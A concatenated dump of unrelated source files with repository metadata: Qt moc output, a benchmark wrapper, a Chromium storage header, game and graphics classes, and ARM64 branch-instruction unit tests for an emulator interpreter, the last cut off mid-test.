qt_meta_stringdata_PODO_VISION_Server_t qt_meta_stringdata_PODO_VISION_Server = { { QT_MOC_LITERAL(0, 0, 18), // "PODO_VISION_Server" QT_MOC_LITERAL(1, 19, 10), // "RBReadData" QT_MOC_LITERAL(2, 30, 0) // "" }, "PODO_VISION_Server\0RBReadData\0" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_PODO_VISION_Server[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 1, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount // slots: name, argc, parameters, tag, flags 1, 0, 19, 2, 0x09 /* Protected */, // slots: parameters QMetaType::Void, 0 // eod }; void PODO_VISION_Server::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { PODO_VISION_Server *_t = static_cast<PODO_VISION_Server *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->RBReadData(); break; default: ; } } Q_UNUSED(_a); } const QMetaObject PODO_VISION_Server::staticMetaObject = { { &RBTCPServer::staticMetaObject, qt_meta_stringdata_PODO_VISION_Server.data, qt_meta_data_PODO_VISION_Server, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *PODO_VISION_Server::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *PODO_VISION_Server::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_PODO_VISION_Server.stringdata0)) return static_cast<void*>(const_cast< PODO_VISION_Server*>(this)); return RBTCPServer::qt_metacast(_clname); } int PODO_VISION_Server::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = RBTCPServer::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 1) qt_static_metacall(this, _c, _id, _a); _id -= 1; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 1) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 1; } return _id; } struct qt_meta_stringdata_DaemonServerStateMachine_t { QByteArrayData data[3]; char stringdata0[37]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_DaemonServerStateMachine_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_DaemonServerStateMachine_t qt_meta_stringdata_DaemonServerStateMachine = { { QT_MOC_LITERAL(0, 0, 24), // "DaemonServerStateMachine" QT_MOC_LITERAL(1, 25, 10), // "RBReadData" QT_MOC_LITERAL(2, 36, 0) // "" }, "DaemonServerStateMachine\0RBReadData\0" "" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_DaemonServerStateMachine[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 1, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount // slots: name, argc, parameters, tag, flags 1, 0, 19, 2, 0x09 /* Protected */, // slots: parameters QMetaType::Void, 0 // eod }; void DaemonServerStateMachine::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { DaemonServerStateMachine *_t = static_cast<DaemonServerStateMachine *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->RBReadData(); break; default: ; } } Q_UNUSED(_a); } const QMetaObject DaemonServerStateMachine::staticMetaObject = { { &RBTCPServer::staticMetaObject, qt_meta_stringdata_DaemonServerStateMachine.data, qt_meta_data_DaemonServerStateMachine, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *DaemonServerStateMachine::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *DaemonServerStateMachine::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_DaemonServerStateMachine.stringdata0)) return static_cast<void*>(const_cast< DaemonServerStateMachine*>(this)); return RBTCPServer::qt_metacast(_clname); } int DaemonServerStateMachine::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = RBTCPServer::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 1) qt_static_metacall(this, _c, _id, _a); _id -= 1; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 1) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 1; } return _id; } QT_END_MOC_NAMESPACE
[ "ml634@kaist.ac.kr" ]
ml634@kaist.ac.kr
d24ab588df6e7d2fc41181bb6bb5b67182022690
d0c44dd3da2ef8c0ff835982a437946cbf4d2940
/cmake-build-debug/programs_tiling/function14788/function14788_schedule_27/function14788_schedule_27_wrapper.cpp
7d967c362756b58bc6188db71cb5935e3117490a
[]
no_license
IsraMekki/tiramisu_code_generator
8b3f1d63cff62ba9f5242c019058d5a3119184a3
5a259d8e244af452e5301126683fa4320c2047a3
refs/heads/master
2020-04-29T17:27:57.987172
2019-04-23T16:50:32
2019-04-23T16:50:32
176,297,755
1
2
null
null
null
null
UTF-8
C++
false
false
857
cpp
#include "Halide.h" #include "function14788_schedule_27_wrapper.h" #include "tiramisu/utils.h" #include <cstdlib> #include <iostream> #include <time.h> #include <fstream> #include <chrono> #define MAX_RAND 200 int main(int, char **){Halide::Buffer<int32_t> buf0(2048, 256, 64); init_buffer(buf0, (int32_t)0); auto t1 = std::chrono::high_resolution_clock::now(); function14788_schedule_27(buf0.raw_buffer()); auto t2 = std::chrono::high_resolution_clock::now(); std::chrono::duration<double> diff = t2 - t1; std::ofstream exec_times_file; exec_times_file.open("../data/programs/function14788/function14788_schedule_27/exec_times.txt", std::ios_base::app); if (exec_times_file.is_open()){ exec_times_file << diff.count() * 1000000 << "us" <<std::endl; exec_times_file.close(); } return 0; }
[ "ei_mekki@esi.dz" ]
ei_mekki@esi.dz
7e6007a51bf6660312dfde409eac01241a20861e
f81b774e5306ac01d2c6c1289d9e01b5264aae70
/content/browser/conversions/conversion_storage_context.h
67c255e5068b00a0c9baba2b434d48f4b15b9f1b
[ "BSD-3-Clause" ]
permissive
waaberi/chromium
a4015160d8460233b33fe1304e8fd9960a3650a9
6549065bd785179608f7b8828da403f3ca5f7aab
refs/heads/master
2022-12-13T03:09:16.887475
2020-09-05T20:29:36
2020-09-05T20:29:36
293,153,821
1
1
BSD-3-Clause
2020-09-05T21:02:50
2020-09-05T21:02:49
null
UTF-8
C++
false
false
3,454
h
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_BROWSER_CONVERSIONS_CONVERSION_STORAGE_CONTEXT_H_ #define CONTENT_BROWSER_CONVERSIONS_CONVERSION_STORAGE_CONTEXT_H_ #include <stdint.h> #include <memory> #include <vector> #include "base/memory/ref_counted.h" #include "base/sequenced_task_runner.h" #include "base/time/time.h" #include "content/browser/conversions/conversion_report.h" #include "content/browser/conversions/conversion_storage.h" #include "content/browser/conversions/conversion_storage_delegate_impl.h" #include "content/browser/conversions/storable_conversion.h" #include "content/browser/conversions/storable_impression.h" #include "content/common/content_export.h" #include "url/origin.h" namespace base { class Clock; class FilePath; } // namespace base namespace content { // Abstraction around a ConversionStorage instance which can be accessed on // multiple sequences. Proxies calls to the SequencedTaskRunner running storage // operations. class CONTENT_EXPORT ConversionStorageContext : public base::RefCountedThreadSafe<ConversionStorageContext> { public: ConversionStorageContext( scoped_refptr<base::SequencedTaskRunner> storage_task_runner, const base::FilePath& user_data_directory, std::unique_ptr<ConversionStorageDelegateImpl> delegate, const base::Clock* clock); // All of these methods proxy to the equivalent methods on |storage_|. All // callbacks are run on the sequence |this| is accessed on. Can be called from // any sequence. // // TODO(https://crbug.com/1066920): This class should use a // base::SequenceBound to encapsulate |storage_|. This would also allow us to // simply expose |storage_| to callers, rather than having to manually proxy // methods. This also avoids having to call PostTask manually and using // base::Unretained on |storage_|. void StoreImpression(const StorableImpression& impression); void MaybeCreateAndStoreConversionReports( const StorableConversion& conversion, base::OnceCallback<void(int)> callback); void GetConversionsToReport( base::Time max_report_time, base::OnceCallback<void(std::vector<ConversionReport>)> callback); void GetActiveImpressions( base::OnceCallback<void(std::vector<StorableImpression>)> callback); void DeleteConversion(int64_t conversion_id, base::OnceCallback<void(bool)> callback); void ClearData(base::Time delete_begin, base::Time delete_end, base::RepeatingCallback<bool(const url::Origin&)> filter, base::OnceClosure callback); private: friend class base::RefCountedThreadSafe<ConversionStorageContext>; ~ConversionStorageContext(); // Task runner used to perform operations on |storage_|. Runs with // base::TaskPriority::BEST_EFFORT. scoped_refptr<base::SequencedTaskRunner> storage_task_runner_; // ConversionStorage instance which is scoped to lifetime of // |storage_task_runner_|. |storage_| should be accessed by calling // base::PostTask with |storage_task_runner_|, and should not be accessed // directly. |storage_| will never be null. std::unique_ptr<ConversionStorage, base::OnTaskRunnerDeleter> storage_; }; } // namespace content #endif // CONTENT_BROWSER_CONVERSIONS_CONVERSION_STORAGE_CONTEXT_H_
[ "commit-bot@chromium.org" ]
commit-bot@chromium.org
072877e0e9a75c9d7e844307caf9fd95453f0f2d
0d249254f0939f7f69a801b1656eed548af0f590
/PlatformerGame/src/Effect.cpp
a29bf89179d9e38b403738fb471ddae340a79314
[]
no_license
tuomok1010/OpenGL_Game_Project
83b2c0500e037a36eee8930fcdd7c04e515612d6
e2e91f2e45e3a73f67d8c25b14b9acd693854128
refs/heads/master
2021-10-11T15:59:33.179871
2021-09-30T09:21:50
2021-09-30T09:21:50
225,724,893
0
0
null
null
null
null
UTF-8
C++
false
false
1,037
cpp
#include "Effect.h" Effect::Effect() { } Effect::Effect(const Effect& src) : textureOffset(src.textureOffset), textureScale(src.textureScale), texIterator(src.texIterator), position(src.position), size(src.size), color(src.color), rotation(src.rotation), shouldStop(src.shouldStop) { for (unsigned int i = 0; i < src.textures.size(); ++i) { textures.emplace_back(new Texture2D(*src.textures.at(i))); } } Effect::~Effect() { } Effect& Effect::operator=(const Effect& src) { if (this == &src) return *this; textureOffset = src.textureOffset; textureScale = src.textureScale; texIterator = src.texIterator; position = src.position; size = src.size; color = src.color; rotation = src.rotation; shouldStop = src.shouldStop; for (unsigned int i = 0; i < src.textures.size(); ++i) { textures.emplace_back(new Texture2D(*src.textures.at(i))); } return *this; } void Effect::ResetAnimation() { texIterator = 0; } void Effect::AddTexture(Texture2D* textureToAdd) { textures.emplace_back(textureToAdd); }
[ "acrisius01@gmail.com" ]
acrisius01@gmail.com
0eeeb271b04a250691194a60d6c2b72423852fd1
04c2279e671dc86a84124229e5c6b00152fa7097
/include/vsg/state/ShaderModule.h
af733e5d31d1653a5ef7e7fb39d6a6cca9e43351
[ "MIT" ]
permissive
wadivision/VulkanSceneGraph
d85be0519376e5040ee26e5cc5972eb60c433d22
62756591b549bed2f006880b67688ce9970728df
refs/heads/master
2022-05-13T04:48:58.213344
2022-05-07T11:38:57
2022-05-07T11:38:57
248,476,009
0
0
MIT
2020-03-19T10:39:20
2020-03-19T10:39:19
null
UTF-8
C++
false
false
4,884
h
#pragma once /* <editor-fold desc="MIT License"> Copyright(c) 2018 Robert Osfield Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. </editor-fold> */ #include <fstream> #include <vsg/vk/Device.h> #include <vsg/vk/vk_buffer.h> namespace vsg { // forward declare class Context; template<typename T> bool readFile(T& buffer, const std::string& filename) { std::ifstream fin(filename, std::ios::ate | std::ios::binary); if (!fin.is_open()) return false; size_t fileSize = fin.tellg(); using value_type = typename T::value_type; size_t valueSize = sizeof(value_type); size_t bufferSize = (fileSize + valueSize - 1) / valueSize; buffer.resize(bufferSize); fin.seekg(0); fin.read(reinterpret_cast<char*>(buffer.data()), fileSize); fin.close(); // buffer.size() * valueSize return true; } /// Settings passed to glsLang when compiling GLSL/HLSL shader source to SPIR-V /// Provides the values to pass to glsLang::TShader::setEnvInput, setEnvClient and setEnvTarget. class VSG_DECLSPEC ShaderCompileSettings : public Inherit<Object, ShaderCompileSettings> { public: enum Language { GLSL, HLSL }; enum SpirvTarget { SPIRV_1_0 = (1 << 16), SPIRV_1_1 = (1 << 16) | (1 << 8), SPIRV_1_2 = (1 << 16) | (2 << 8), SPIRV_1_3 = (1 << 16) | (3 << 8), SPIRV_1_4 = (1 << 16) | (4 << 8), SPIRV_1_5 = (1 << 16) | (5 << 8) }; uint32_t vulkanVersion = VK_API_VERSION_1_0; int clientInputVersion = 100; Language language = GLSL; int defaultVersion = 450; SpirvTarget target = SPIRV_1_0; bool forwardCompatible = false; std::vector<std::string> defines; int compare(const Object& rhs_object) const override; void read(Input& input) override; void write(Output& output) const override; }; VSG_type_name(vsg::ShaderCompileSettings); class VSG_DECLSPEC ShaderModule : public Inherit<Object, ShaderModule> { public: using SPIRV = std::vector<uint32_t>; ShaderModule(); explicit ShaderModule(const std::string& in_source, ref_ptr<ShaderCompileSettings> in_hints = {}); explicit ShaderModule(const SPIRV& in_code); ShaderModule(const std::string& source, const SPIRV& in_code); std::string source; ref_ptr<ShaderCompileSettings> hints; /// VkShaderModuleCreateInfo settings SPIRV code; /// Vulkan VkShaderModule handle VkShaderModule vk(uint32_t deviceID) const { return _implementation[deviceID]->_shaderModule; } int compare(const Object& rhs_object) const override; void read(Input& input) override; void write(Output& output) const override; // compile the Vulkan object, context parameter used for Device void compile(Context& context); // remove the local reference to the Vulkan implementation void release(uint32_t deviceID) { _implementation[deviceID] = {}; } void release() { _implementation.clear(); } protected: virtual ~ShaderModule(); struct Implementation : public Inherit<Object, Implementation> { Implementation(Device* device, ShaderModule* shader); virtual ~Implementation(); VkShaderModule _shaderModule; ref_ptr<Device> _device; }; vk_buffer<ref_ptr<Implementation>> _implementation; }; VSG_type_name(vsg::ShaderModule); /// replace all instances of #include "filename.extension" with the contents of the related files. extern VSG_DECLSPEC std::string insertIncludes(const std::string& source, ref_ptr<const Options> options); } // namespace vsg
[ "robert@openscenegraph.com" ]
robert@openscenegraph.com
e06f31da87d318617ba36dd33aac3c602ad40302
21e4f3bb65fea0a03e726301f2ff0646489694f9
/src/Core/Shape.cpp
a7590b6556d34aeb1190d623f0908c95af30ad68
[ "MIT" ]
permissive
flashpoint493/AyaRay
fbf09e37b55b15c31e808d10e5a8b35939f3b870
96a7c90ad908468084cb339d4adf3638b750ee82
refs/heads/master
2021-03-19T00:15:47.424178
2020-03-13T15:39:57
2020-03-13T15:39:57
247,113,400
1
0
MIT
2020-03-13T16:19:36
2020-03-13T16:19:35
null
UTF-8
C++
false
false
469
cpp
#include "Shape.h" namespace Aya { Shape::Shape(const Transform *O2W, const Transform *W2O) : o2w(O2W), w2o(W2O) { } Shape::~Shape() {} BBox Shape::worldBound() const { return (*o2w)(objectBound()); } bool Shape::canIntersect() const { return true; } void Shape::refine(std::vector<SharedPtr<Shape> > &refined) const { assert(0); } bool Shape::intersect(const Ray &ray, float *hit_t, SurfaceInteraction *dg) const { assert(0); return false; } }
[ "g1n0st@live.com" ]
g1n0st@live.com
31a4999e58753978da7746f24c3b0ae07b3d607e
189592ed899dd62da3d01a30b7ddda22ab40556f
/src/CoreLib 3D/MyRect.cpp
79a6f3bdd2f638e2cd898671af8408fd84dd3652
[]
no_license
awesombly/MyStudy
3ddc3f66d786a1ceac9ce08d1989048c4bccf8b8
3bc180a46434b856c1b93af2b8795fabb69f87a2
refs/heads/master
2020-05-03T00:04:45.809278
2019-04-28T11:23:48
2019-04-28T11:23:48
178,299,523
0
0
null
null
null
null
UHC
C++
false
false
9,396
cpp
#include "MyRect.h" MyVector4::MyVector4(const MyRect& _rect) noexcept : x(_rect.m_point.x), y(_rect.m_point.y), z((float)_rect.m_width), w((float)_rect.m_height) {}; MyRect::MyRect(const int& x, const int& y, const int& width, const int& height) noexcept : m_point((float)x, (float)y), m_width(width), m_height(height) {} MyRect::MyRect(const float& x, const float& y, const int& width, const int& height) noexcept : m_point(x, y), m_width(width), m_height(height) {} MyRect::~MyRect() {} void MyRect::Move(const int& x, const int& y) noexcept { m_point.x += (int)x; m_point.y += (int)y; } void MyRect::Move(const float& x, const float& y) noexcept { m_point.x += x; m_point.y += y; } void MyRect::Move(const MyVector2& point) noexcept { m_point.x += point.x; m_point.y += point.y; } void MyRect::Move(const POINT& point) noexcept { m_point.x += (float)point.x; m_point.y += (float)point.y; } bool MyRect::CollisionCheck(const MyVector2& point) const noexcept { if (point.x > m_point.x && point.x < m_point.x + m_width && point.y > m_point.y && point.y < m_point.y + m_height) { return true; } return false; } bool MyRect::CollisionCheck(const POINT& point) const noexcept { if (point.x > m_point.x && point.x < m_point.x + m_width && point.y > m_point.y && point.y < m_point.y + m_height) { return true; } return false; } bool MyRect::CollisionCheck(const MyRect& rect) const noexcept { if (m_point.x <= rect.m_point.x + rect.m_width && m_point.x + m_width >= rect.m_point.x && m_point.y <= rect.m_point.y + rect.m_height && m_point.y + m_height >= rect.m_point.y) return true; return false; } bool MyRect::CollisionCheck(const RECT& rect) const noexcept { if (m_point.x <= rect.left + rect.right && m_point.x + m_width >= rect.left && m_point.y <= rect.top + rect.bottom && m_point.y + m_height >= rect.top) return true; return false; } // 반지름(원)으로 체크 bool MyRect::CollisionCheck(const float& distance, const float& targetRadius) const noexcept { if(distance <= m_width / 2.0f + targetRadius) return true; return false; } //MyRect MyRect::Intersection(const MyRect& rect) const noexcept //{ // // 충돌 체크 // if (!CollisionCheck(rect)) return MyRect(); // // MyRect pRect; // // 큰 left, 큰 top, 작은 right, 작은 bottom // pRect.m_point.x = std::fmax(m_point.x, rect.m_point.x); // pRect.m_point.y = std::fmax(m_point.y, rect.m_point.y); // pRect.m_width = (int)(std::fmin(m_point.x + m_width, rect.m_point.x + rect.m_width) - pRect.m_point.x); // pRect.m_height = (int)(std::fmin(m_point.y + m_height, rect.m_point.y + rect.m_height) - pRect.m_point.y); // // return pRect; //} // //MyRect MyRect::Union(const MyRect& rect) const noexcept //{ // //if (!CollisionCheck(rect)) return nullptr; // MyRect pRect; // // // 작은 left, 작은 top, 큰 right, 큰 bottom // pRect.m_point.x = std::fmin(m_point.x, rect.m_point.x); // pRect.m_point.y = std::fmin(m_point.y, rect.m_point.y); // pRect.m_width = (int)(std::fmax(m_point.x + m_width, rect.m_point.x + rect.m_width) - pRect.m_point.x); // pRect.m_height = (int)(std::fmax(m_point.y + m_height, rect.m_point.y + rect.m_height) - pRect.m_point.y); // // return pRect; //} //void MyRect::DrawRect() const noexcept //{ // DrawRect(*this); //} // //void MyRect::DrawRect(const MyRect& rect) const noexcept //{ // try // { // std::cout << "Left : " << rect.getLeft() << ",\tTop : " << rect.getTop() << ",\tRight : " << rect.getRight() << ",\tBottom : " << rect.getBottom() << std::endl; // } // catch (...) // { // std::cout << "null" << std::endl; // } // // int right = rect.getRight(); // int bottom = rect.getBottom(); // for (int h = 0; h < right; h++) // { // for (int w = 0; w < bottom; w++) // { // if (h < rect.m_point.y || w < rect.m_point.x) // { // std::cout << "·"; // continue; // } // std::cout << "■"; // } // std::cout << std::endl; // } //} MyVector2 MyRect::getPoint() const noexcept { return m_point; } int MyRect::getWidth() const noexcept { return m_width; } int MyRect::getHeight() const noexcept { return m_height; } MyVector2 MyRect::getCenter() const noexcept { return {m_point.x + m_width / 2, m_point.y + m_height / 2 }; } int MyRect::getCenterX() const noexcept { return (int)(m_point.x + m_width / 2); } int MyRect::getCenterY() const noexcept { return (int)(m_point.y + m_height / 2); } MyVector2 MyRect::getWH() const noexcept { return MyVector2(m_width, m_height); } int MyRect::getX() const noexcept { return (int)m_point.x; } int MyRect::getY() const noexcept { return (int)m_point.y; } int MyRect::getLeft() const noexcept { return (int)m_point.x; } int MyRect::getRight() const noexcept { return (int)m_point.x + m_width; } int MyRect::getTop() const noexcept { return (int)m_point.y; } int MyRect::getBottom() const noexcept { return (int)m_point.y + m_height; } void MyRect::setX(const int& x) noexcept { m_point.x = (float)x; } void MyRect::setX(const float& x) noexcept { m_point.x = x; } void MyRect::setY(const int& y) noexcept { m_point.y = (float)y; } void MyRect::setY(const float& y) noexcept { m_point.y = y; } void MyRect::setPoint(const int& x, const int& y) noexcept { m_point = { (float)x, (float)y }; } void MyRect::setPoint(const float& x, const float& y) noexcept { m_point = { x, y }; } void MyRect::setPoint(const MyVector2& point) noexcept { m_point = point; } void MyRect::setWidth(const int& width) noexcept { m_width = width; } void MyRect::setHeight(const int& height) noexcept { m_height = height; } void MyRect::setWH(const int& width, const int& height) noexcept { m_width = width; m_height = height; } void MyRect::setWH(const float& width, const float& height) noexcept { m_width = (int)width; m_height = (int)height; } void MyRect::setWH(const MyVector2& width_height) noexcept { m_width = (int)width_height.x; m_height = (int)width_height.y; } void MyRect::setLeft(const int& value) noexcept { m_point.x = (float)value; } void MyRect::setTop(const int& value) noexcept { m_point.y = (float)value; } void MyRect::setRight(const int& value) noexcept { m_point.x = (float)(value - m_width); } void MyRect::setBottom(const int& value) noexcept { m_point.y = (float)(value - m_height); } void MyRect::setRect(const RECT& rect) noexcept { setRect(rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top); } void MyRect::setRect(const MyRect& rect) noexcept { *this = rect; } void MyRect::setRect(const int& x, const int& y, const int& width, const int& height) noexcept { m_point = { (float)x, (float)y }; m_width = width; m_height = height; } void MyRect::setRect(const float& x, const float& y, const int& width, const int& height) noexcept { m_point = { x, y }; m_width = width; m_height = height; } void MyRect::setRect(const float& x, const float& y, const float& width, const float& height) noexcept { m_point = { x, y }; m_width = (int)width; m_height = (int)height; } void MyRect::setCenter(const int& x, const int& y) noexcept { m_point.x = (float)(x - m_width / 2); m_point.y = (float)(y - m_height / 2); } void MyRect::setCenter(const float& x, const float& y) noexcept { m_point.x = x - m_width / 2; m_point.y = y - m_height / 2; } void MyRect::setCenter(const MyVector2& point) noexcept { m_point.x = point.x - m_width / 2; m_point.y = point.y - m_height / 2; } void MyRect::setCenter(const POINT& point) noexcept { m_point.x = (float)(point.x - m_width / 2); m_point.y = (float)(point.y - m_height / 2); } void MyRect::setCenterX(const int& _x) noexcept { m_point.x = (float)(_x - m_width / 2); } void MyRect::setCenterX(const float& _x) noexcept { m_point.x = (_x - m_width / 2); } void MyRect::setCenterY(const int& _y) noexcept { m_point.y = (float)(_y - m_height / 2); } void MyRect::setCenterY(const float& _y) noexcept { m_point.y = (_y - m_height / 2); } void MyRect::RECTset(RECT* rect) const noexcept { rect->left = (long)m_point.x; rect->top = (long)m_point.y; rect->right = m_width; rect->bottom = m_height; } MyRect& MyRect::operator =(const RECT& rect) noexcept { setRect(rect); return *this; } //MyRect& MyRect::operator +(const MyRect& rect) noexcept //{ // return *this + rect; //} //MyRect& MyRect::operator *(const MyRect& rect) noexcept //{ // return Intersection(rect); //} //MyRect MyRect::operator +(const int& iValue) noexcept //{ // return MyRect(*this) + iValue; //} //MyRect MyRect::operator -(const int& iValue) noexcept //{ // return MyRect(*this) - iValue; //} //MyRect& operator +(const int& iValue, const MyRect& rect) noexcept //{ // MyRect* tempRect = new MyRect(rect); // tempRect->Move(iValue, iValue); // // return *tempRect; //} //MyRect& operator -(const int& iValue, const MyRect& rect) noexcept //{ // MyRect* tempRect = new MyRect(rect); // tempRect->Move(-iValue, -iValue); // // return *tempRect; //} float MyRect::getAngle(const int& sx, const int& sy, const int& dx, const int& dy) noexcept { int&& vx = dx - sx; int&& vy = dy - sy; float&& radian = (float)atan2(vy, vx); float&& degree = (radian * 57.3f); if (degree < 0) degree += 360; return degree; } float MyRect::getAngle(const MyVector2& sP, const MyVector2& dP) noexcept { float&& vx = dP.x - sP.x; float&& vy = dP.y - sP.y; float&& radian = atan2(vy, vx); float&& degree = (radian * 57.3f); if (degree < 0) degree += 360; return degree; }
[ "walckm11@gmail.com" ]
walckm11@gmail.com
745277f9023fa383193c255c284ae687f29c2335
8b43d4a7359f4d5e5290cc9ebf6629542a64b753
/InterpreterUnitTest/branch.cpp
55df6b5f538d195b0df89699e34704fdf5c54ce8
[]
no_license
orklann/switch-emu-pub
68f4006255fc0d0bc8e383e40ff8a6d8882991ed
475a771e551134c1c97c4ddd499ea9e28ea2f43b
refs/heads/master
2021-12-27T20:25:38.992394
2018-01-16T12:47:47
2018-01-16T12:47:47
null
0
0
null
null
null
null
UTF-8
C++
false
false
21,670
cpp
#include "stdafx.h" using namespace Microsoft::VisualStudio::CppUnitTestFramework; namespace InterpreterUnitTest { TEST_CLASS(bcond), BaseTestClass<cpu::instructionID::B_cond> { INST_CLASS_METHODS; TEST_METHOD(B_cond_branch) { inst.cond = static_cast<uint32_t>(Condition::AL); inst._5_23 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"B.cond jumps to itself when imm == 0"); SET_REG(PC, 0x1000); inst._5_23 = 2; expected.nextPC = 0x1008; doTestInst(L"B.cond is in increments of 4"); SET_REG(PC, 0x1000); inst._5_23 = 0x3FFFF; expected.nextPC = 0x100FFC; doTestInst(L"B.cond is in increments of 4"); SET_REG(PC, 0x1000); inst._5_23 = 0x40000; expected.nextPC = 0xFFFFFFFFFFF01000; doTestInst(L"B.cond has a signed offset"); SET_REG(PC, 0x1000); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFC; doTestInst(L"B.cond has a signed offset"); SET_REG(PSTATE.C, false); inst.cond = static_cast<uint32_t>(Condition::CS); inst._5_23 = 0x1; doTestInst(L"B.cond does nothing when the condition is not met"); } TEST_METHOD(B_cond_overflow) { inst.cond = static_cast<uint32_t>(Condition::AL); SET_REG(PC, 0xFFFFFFFFFFFFFFFC); inst._5_23 = 0x1; expected.nextPC = 0; doTestInst(L"B.cond wraps around on overflow"); } TEST_METHOD(B_cond_underflow) { inst.cond = static_cast<uint32_t>(Condition::AL); SET_REG(PC, 0); inst._5_23 = 0x7FFFF; expected.nextPC = 0xFFFFFFFFFFFFFFFC; doTestInst(L"B.cond wraps around on underflow"); } TEST_METHOD(B_cond_all) { inst._5_23 = 0x2; auto setupWhenCondMet = [this]() { SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); expected.nextPC = 0x1008; }; auto setupWhenCondNotMet = [this]() { SET_REG(PC, 0x1000); SET_REG(nextPC, 0x1004); }; testAllConditions(setupWhenCondMet, setupWhenCondNotMet); } }; TEST_CLASS(br), BaseTestClass<cpu::instructionID::BR> { INST_CLASS_METHODS; TEST_METHOD(BR_branch) { inst.Rn = 1; SET_REG(GPRegs[1], 0); expected.nextPC = 0; doTestInst(L"BR branches to register"); SET_REG(GPRegs[1], 0x1000); expected.nextPC = 0x1000; doTestInst(L"BR branches to register"); SET_REG(GPRegs[1], 0x1010101010101010); expected.nextPC = 0x1010101010101010; doTestInst(L"BR branches to register"); } TEST_METHOD(BR_sp) { inst.Rn = 32; expected.nextPC = 0; doTestInst(L"BR does not use SP"); } }; TEST_CLASS(blr), BaseTestClass<cpu::instructionID::BLR> { INST_CLASS_METHODS; TEST_METHOD(BLR_branch) { inst.Rn = 1; SET_REG(GPRegs[1], 0); expected.nextPC = 0; expected.GPRegs[30] = NEXT_PC_DEFAULT; doTestInst(L"BLR branches to register and stores PC + 4 in X30"); SET_REG(PC, 0x2000); SET_REG(GPRegs[1], 0x1000); expected.nextPC = 0x1000; expected.GPRegs[30] = 0x2004; doTestInst(L"BLR branches to register and stores PC + 4 in X30"); SET_REG(PC, 0x3000); SET_REG(GPRegs[1], 0x1010101010101010); expected.nextPC = 0x1010101010101010; expected.GPRegs[30] = 0x3004; doTestInst(L"BLR branches to register and stores PC + 4 in X30"); } TEST_METHOD(BLR_sp) { inst.Rn = 32; expected.nextPC = 0; expected.GPRegs[30] = NEXT_PC_DEFAULT; doTestInst(L"BLR does not use SP"); } TEST_METHOD(BLR_overflow) { SET_REG(GPRegs[1], 0); SET_REG(PC, 0xFFFFFFFFFFFFFFFC); inst.Rn = 1; expected.nextPC = 0; expected.GPRegs[30] = 0; doTestInst(L"BLR X30 wraps around on overflow"); } }; TEST_CLASS(ret), BaseTestClass<cpu::instructionID::RET> { INST_CLASS_METHODS; TEST_METHOD(RET_branch) { inst.Rn = 1; SET_REG(GPRegs[1], 0); expected.nextPC = 0; doTestInst(L"RET branches to register"); SET_REG(GPRegs[1], 0x1000); expected.nextPC = 0x1000; doTestInst(L"RET branches to register"); SET_REG(GPRegs[1], 0x1010101010101010); expected.nextPC = 0x1010101010101010; doTestInst(L"RET branches to register"); } TEST_METHOD(RET_sp) { inst.Rn = 32; expected.nextPC = 0; doTestInst(L"RET does not use SP"); } }; // ERET is not implemented // DRPS is not implemented TEST_CLASS(b), BaseTestClass<cpu::instructionID::B> { INST_CLASS_METHODS; TEST_METHOD(B_branch) { inst._0_25 = 0; expected.nextPC = PC_DEFAULT; doTestInst(L"B jumps to itself when imm == 0"); 